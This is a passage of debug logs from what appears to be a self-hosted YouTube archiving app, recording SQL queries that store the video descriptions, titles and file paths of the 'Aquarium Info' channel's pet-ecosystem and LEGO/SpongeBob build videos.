popcorn! Watch as me and Joelle transform Adam’s bedroom into a DREAM $10,000 bedroom. This bedroom makeover captures an insane ecosystem transformation and I can’t wait for you to see the end result. It’s my dream bedroom transformation! Our ecosystem is teeming with life, from tiny toads, creepy bugs, live fish to deadly predators like the crested gecko. I’ve finally achieved my childhood dream of an extreme bedroom makeover!\n\nIf you have any comments, suggestions or questions for this ecosystem transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Go Sweetie!\" so I notice you 🦎\n\nIf you love fish and fish tanks check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- Built a Maze for my Turtle to Escape… \n- I Built SpongeBob in a Fish Tank!\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- Did Wednesday Addams Lie?\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Bedroom Into a Jungle!", "Nndy5il35l4", "https://www.youtube.com/watch?v=Nndy5il35l4", 32, 1022, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e080900 - I Turned a Bedroom Into a Jungle!.mkv", false, ~U[2025-08-09 16:37:20Z]] 11:12:41.161 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.162 [debug] QUERY OK source="media_items" db=0.4ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-19 13:52:42Z], 32] 11:12:41.164 [debug] QUERY OK source="media_items" db=1.6ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I built the world’s LARGEST Krusty Krab in a fish tank! #KCA #sponsored\n\nIn this episode, we build a hyper-realistic Krusty Krab inside a 15-foot long fish tank, featuring my favorite 3D printed SpongeBob houses: The Krusty Krab! At the end, we reveal it at the @Nickelodeon Kids’ Choice Awards and see reactions from your favorite YouTubers @airrack @MatthewBeem @PrestonYT @BriannaYT @a.j.befumo @IBella @annamcnulty @StephenSharer.\n\nCheck out the FAB365 store for EPIC SpongeBob 3D prints here: https://fab365.net/search?q=spongebob. We’ve modified SpongeBob, Patrick and Squidward’s houses to be nearly 3ft tall and now the iconic Krusty Krab!\n\nA special thank you to Labriola Ristorante in Oak Brook for becoming our Krusty Krab kitchen in real life and Nic from @InfinityAquariums for the incredible collaboration on this massive, showstopping piece. We couldn’t have done it without you guys!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis giant real life Bikini Bottom aquarium celebrates the famous Nickelodeon Kids’ Choice Awards and includes the iconic Krusty Krab, your favorite characters like SpongeBob, Plankton, Sandy Cheeks, Squidward and Mr Krabs and even realistic 3D printed jellyfish to honor Jellyfish Fields from SpongeBob SquarePants. We also 3D printed a hyper realistic Flying Dutchman! \n\nWatch Jamie build while Adam goes on a tidepool and scuba diving adventure to try and catch the iconic characters of SpongeBob, including Larry the Lobster, Mr Krabs and many more! Joelle is challenged to find the secret formula in a real life Krusty Krab kitchen and will teach you how to make a real life krabby patty! \n\nJamie Dalton - Aquarium Info has a history of building epic SpongeBob themed fish tanks on YouTube like when I built the Krusty Krab for a real life crab and when I built the Chum Bucket for real life Plankton. I also built the world’s largest Bikini Bottom in a fish tank!! Do you think I should build Sandy's treedome for a real life squirrel next?? \n\nIf you have any comments, suggestions or questions for this SpongeBob Nickelodeon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Krusty Krab Pizza\" so I notice you 🍕 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Built Bikini Bottom in a Fish Tank!\n- I Got a Pet Dragon…\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl…\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Bikini Bottom in a Fish Tank!", "87232caa-4880-4a7d-ad1e-b9ad4e38006c", "WxUbc_UbDIk", false, "https://www.youtube.com/watch?v=WxUbc_UbDIk", 32, [], 695, false, 10, "/downloads/shows/Aquarium Info/Season 2025/s2025e071900 - I Built Bikini Bottom in a Fish Tank!.mkv", false, false, 98, ~U[2025-07-19 13:52:42Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "I built the world’s LARGEST Krusty Krab in a fish tank! #KCA #sponsored\n\nIn this episode, we build a hyper-realistic Krusty Krab inside a 15-foot long fish tank, featuring my favorite 3D printed SpongeBob houses: The Krusty Krab! At the end, we reveal it at the @Nickelodeon Kids’ Choice Awards and see reactions from your favorite YouTubers @airrack @MatthewBeem @PrestonYT @BriannaYT @a.j.befumo @IBella @annamcnulty @StephenSharer.\n\nCheck out the FAB365 store for EPIC SpongeBob 3D prints here: https://fab365.net/search?q=spongebob. We’ve modified SpongeBob, Patrick and Squidward’s houses to be nearly 3ft tall and now the iconic Krusty Krab!\n\nA special thank you to Labriola Ristorante in Oak Brook for becoming our Krusty Krab kitchen in real life and Nic from @InfinityAquariums for the incredible collaboration on this massive, showstopping piece. We couldn’t have done it without you guys!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis giant real life Bikini Bottom aquarium celebrates the famous Nickelodeon Kids’ Choice Awards and includes the iconic Krusty Krab, your favorite characters like SpongeBob, Plankton, Sandy Cheeks, Squidward and Mr Krabs and even realistic 3D printed jellyfish to honor Jellyfish Fields from SpongeBob SquarePants. We also 3D printed a hyper realistic Flying Dutchman! \n\nWatch Jamie build while Adam goes on a tidepool and scuba diving adventure to try and catch the iconic characters of SpongeBob, including Larry the Lobster, Mr Krabs and many more! Joelle is challenged to find the secret formula in a real life Krusty Krab kitchen and will teach you how to make a real life krabby patty! \n\nJamie Dalton - Aquarium Info has a history of building epic SpongeBob themed fish tanks on YouTube like when I built the Krusty Krab for a real life crab and when I built the Chum Bucket for real life Plankton. I also built the world’s largest Bikini Bottom in a fish tank!! Do you think I should build Sandy's treedome for a real life squirrel next?? \n\nIf you have any comments, suggestions or questions for this SpongeBob Nickelodeon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Krusty Krab Pizza\" so I notice you 🍕 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Built Bikini Bottom in a Fish Tank!\n- I Got a Pet Dragon…\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl…\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I (truncated) 11:12:41.165 [debug] QUERY OK source="sources" db=0.3ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.165 [debug] QUERY OK source="media_items" db=0.4ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-11 16:05:21Z], 32] 11:12:41.168 [debug] QUERY OK source="media_items" db=1.9ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["#ad To celebrate World Play Day 2025, I partnered with The @LEGO Group to create the ultimate LEGO railway adventure #LEGOWorldPlayDay #LEGOPartner\n\nI Built a Giant LEGO Railway for my Pets! My LEGO train travels through HUGE mountains, glow-in-the-dark and LED lit tunnels and down an insane DIY pool-noodle spiral coaster. But will the train make it or will this end in a complete disaster? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an insane 200ft LEGO railway through the studio, passing by some of your favorite animals, including Ralph my Peacock Mantis Shrimp, Mochi, my grocery store lobster, and the beloved duo Lucy and Lemon, my axolotls. We even build my kitten Nori a rube goldberg contraption to feed him treats when the train passes by! In this adventure-filled episode, we also travel to an abandoned railway to learn about trains in the real world! \n\nThis LEGO train trip will have 5 epic stops, including a dual greenhouse filled with live plants and LEGO botanicals, a snowy mountain featuring miniature Christmas trees and LEGO Santa, a cat cafe, a glow-in-the-dark tunnel with glowing crystals and an arid desert ecosystem with LEGO animals and real cacti. The LEGO train will be equipped with a tiny camera so you can see what the train sees, so be on the lookout for all of the hidden LEGO builds along the way! Can you spot them all?\n\nWatch until the end to see if the train makes it through the entire trip in one piece! This video is perfect for anyone who loves LEGO trains, building custom LEGO builds, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to build an epic DIY LEGO railway! \n\nIf you have any comments, suggestions or questions for this LEGO train video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Cat Cafe\" so I notice you 🐈☕️\n\nIf you love LEGO, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Built Minecraft for a Real Axolotl! \n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built a Giant LEGO Railway for my Pets!", "5f040e69-217e-40a4-b087-ff2460d0b0f4", "p7q8NnVlbVY", false, "https://www.youtube.com/watch?v=p7q8NnVlbVY", 32, [], 650, false, 11, "/downloads/shows/Aquarium Info/Season 2025/s2025e061100 - I Built a Giant LEGO Railway for my Pets!.mkv", false, false, 98, ~U[2025-06-11 16:05:21Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "#ad To celebrate World Play Day 2025, I partnered with The @LEGO Group to create the ultimate LEGO railway adventure #LEGOWorldPlayDay #LEGOPartner\n\nI Built a Giant LEGO Railway for my Pets! My LEGO train travels through HUGE mountains, glow-in-the-dark and LED lit tunnels and down an insane DIY pool-noodle spiral coaster. But will the train make it or will this end in a complete disaster? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an insane 200ft LEGO railway through the studio, passing by some of your favorite animals, including Ralph my Peacock Mantis Shrimp, Mochi, my grocery store lobster, and the beloved duo Lucy and Lemon, my axolotls. We even build my kitten Nori a rube goldberg contraption to feed him treats when the train passes by! In this adventure-filled episode, we also travel to an abandoned railway to learn about trains in the real world! \n\nThis LEGO train trip will have 5 epic stops, including a dual greenhouse filled with live plants and LEGO botanicals, a snowy mountain featuring miniature Christmas trees and LEGO Santa, a cat cafe, a glow-in-the-dark tunnel with glowing crystals and an arid desert ecosystem with LEGO animals and real cacti. The LEGO train will be equipped with a tiny camera so you can see what the train sees, so be on the lookout for all of the hidden LEGO builds along the way! Can you spot them all?\n\nWatch until the end to see if the train makes it through the entire trip in one piece! This video is perfect for anyone who loves LEGO trains, building custom LEGO builds, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to build an epic DIY LEGO railway! \n\nIf you have any comments, suggestions or questions for this LEGO train video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Cat Cafe\" so I notice you 🐈☕️\n\nIf you love LEGO, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Built Minecraft for a Real Axolotl! \n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built a Giant LEGO Railway for my Pets!", "p7q8NnVlbVY", "https://www.youtube.com/watch?v=p7q8NnVlbVY", 32, 650, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e061100 - I Built a Giant LEGO Railway for my Pets!.mkv", false, ~U[2025-06-11 16:05:21Z]] 11:12:41.168 [debug] QUERY OK source="sources" db=0.2ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.169 [debug] QUERY OK source="media_items" db=0.4ms idle=4.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-17 19:03:21Z], 32] 11:12:41.171 [debug] QUERY OK source="media_items" db=1.3ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I built REAL Minecraft for my axolotl! \n\nAfter I saw the new Minecraft movie, I knew I had to build it in real life for my axolotls, Miso and Matcha! In this episode, we even cook a real Minecraft chicken for my cute ragdoll kitten, Nori! Watch until the end to see my axolotls Miso and Matcha react to real Minecraft! This build took a lot of time and effort but I think \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an epic Minecraft IRL ecosystem for over $5,000 for my axolotls, Miso and Matcha. My axolotls recently had baby axolotls - Miso and Matcha - and they’re finally big enough to live together! So today we’re building them their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with real plants, a snowy mountain, mushroom biome, Minecraft village and a lush cave! We even have REAL mobs living in our Minecraft ecosystem, like my lizard Ringo, tiny rasbora fish and more! Can you spot them all?\n\nIn this adventure-filled episode, we travel to the wild to experience Minecraft in real life while hunting for real Minecraft mobs. We also build a DIY 3D printed volcano to experiment in making real lava for our Minecraft ecosystem. \n\nWatch until the end to see my axolotls Miso and Matcha enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Lava Chicken\" so I notice you 🌋🐓\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "e59cf978-ae2c-4eb2-8e6e-ddc74c37c25a", "3UY2Qtkkioo", false, "https://www.youtube.com/watch?v=3UY2Qtkkioo", 32, [], 746, false, 12, "/downloads/shows/Aquarium Info/Season 2025/s2025e051700 - I Built Minecraft for a Real Axolotl!.mkv", false, false, 98, ~U[2025-05-17 19:03:21Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "I built REAL Minecraft for my axolotl! \n\nAfter I saw the new Minecraft movie, I knew I had to build it in real life for my axolotls, Miso and Matcha! In this episode, we even cook a real Minecraft chicken for my cute ragdoll kitten, Nori! Watch until the end to see my axolotls Miso and Matcha react to real Minecraft! This build took a lot of time and effort but I think \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an epic Minecraft IRL ecosystem for over $5,000 for my axolotls, Miso and Matcha. My axolotls recently had baby axolotls - Miso and Matcha - and they’re finally big enough to live together! So today we’re building them their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with real plants, a snowy mountain, mushroom biome, Minecraft village and a lush cave! We even have REAL mobs living in our Minecraft ecosystem, like my lizard Ringo, tiny rasbora fish and more! Can you spot them all?\n\nIn this adventure-filled episode, we travel to the wild to experience Minecraft in real life while hunting for real Minecraft mobs. We also build a DIY 3D printed volcano to experiment in making real lava for our Minecraft ecosystem. \n\nWatch until the end to see my axolotls Miso and Matcha enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Lava Chicken\" so I notice you 🌋🐓\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "3UY2Qtkkioo", "https://www.youtube.com/watch?v=3UY2Qtkkioo", 32, 746, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e051700 - I Built Minecraft for a Real Axolotl!.mkv", false, ~U[2025-05-17 19:03:21Z]] 11:12:41.171 [debug] QUERY OK source="sources" db=0.2ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.172 [debug] QUERY OK source="media_items" db=0.4ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-20 14:13:15Z], 32] 11:12:41.174 [debug] QUERY OK source="media_items" db=1.2ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I got a pet dragon! But will it be a good pet?\n\nThere is a species of lizard that looks exactly like a real-life dragon: The red eyed crocodile skink! Watch to learn if keeping a pet dragon is a good idea...\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nToday we buy the viral TikTok pet dragon and build its dream home ecosystem. This $5,000 terrarium has heaps of live plants, a pond filled with real fish and even a giant castle! \n\nIn this adventure-filled episode, we get the viral exotic pet that looks like a real dragon: a red eyed crocodile skink! We also build a DIY 3D printed castle for him to explore, travel to the desert to find dragons in the wild and even feed my rescue pet Alaskan King Crab in the studio! \n\nWatch until the end to see my pet dragon Gizmo explore his 3D printed Disney-style castle! This video is perfect for anyone who loves exotic pets, rare animals, DIY projects or is just interested in what it takes to keep a dragon as a pet! \n\nIf you have any comments, suggestions or questions for this pet dragon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Gizmo\" so I notice you 👑🐉\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Got a Pet Dragon...", "a7de69a6-4120-4dff-b8cc-d547f4d182c0", "FCVuWcU475c", false, "https://www.youtube.com/watch?v=FCVuWcU475c", 32, [], 772, false, 13, "/downloads/shows/Aquarium Info/Season 2025/s2025e042000 - I Got a Pet Dragon....mkv", false, false, 98, ~U[2025-04-20 14:13:15Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "I got a pet dragon! But will it be a good pet?\n\nThere is a species of lizard that looks exactly like a real-life dragon: The red eyed crocodile skink! Watch to learn if keeping a pet dragon is a good idea...\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 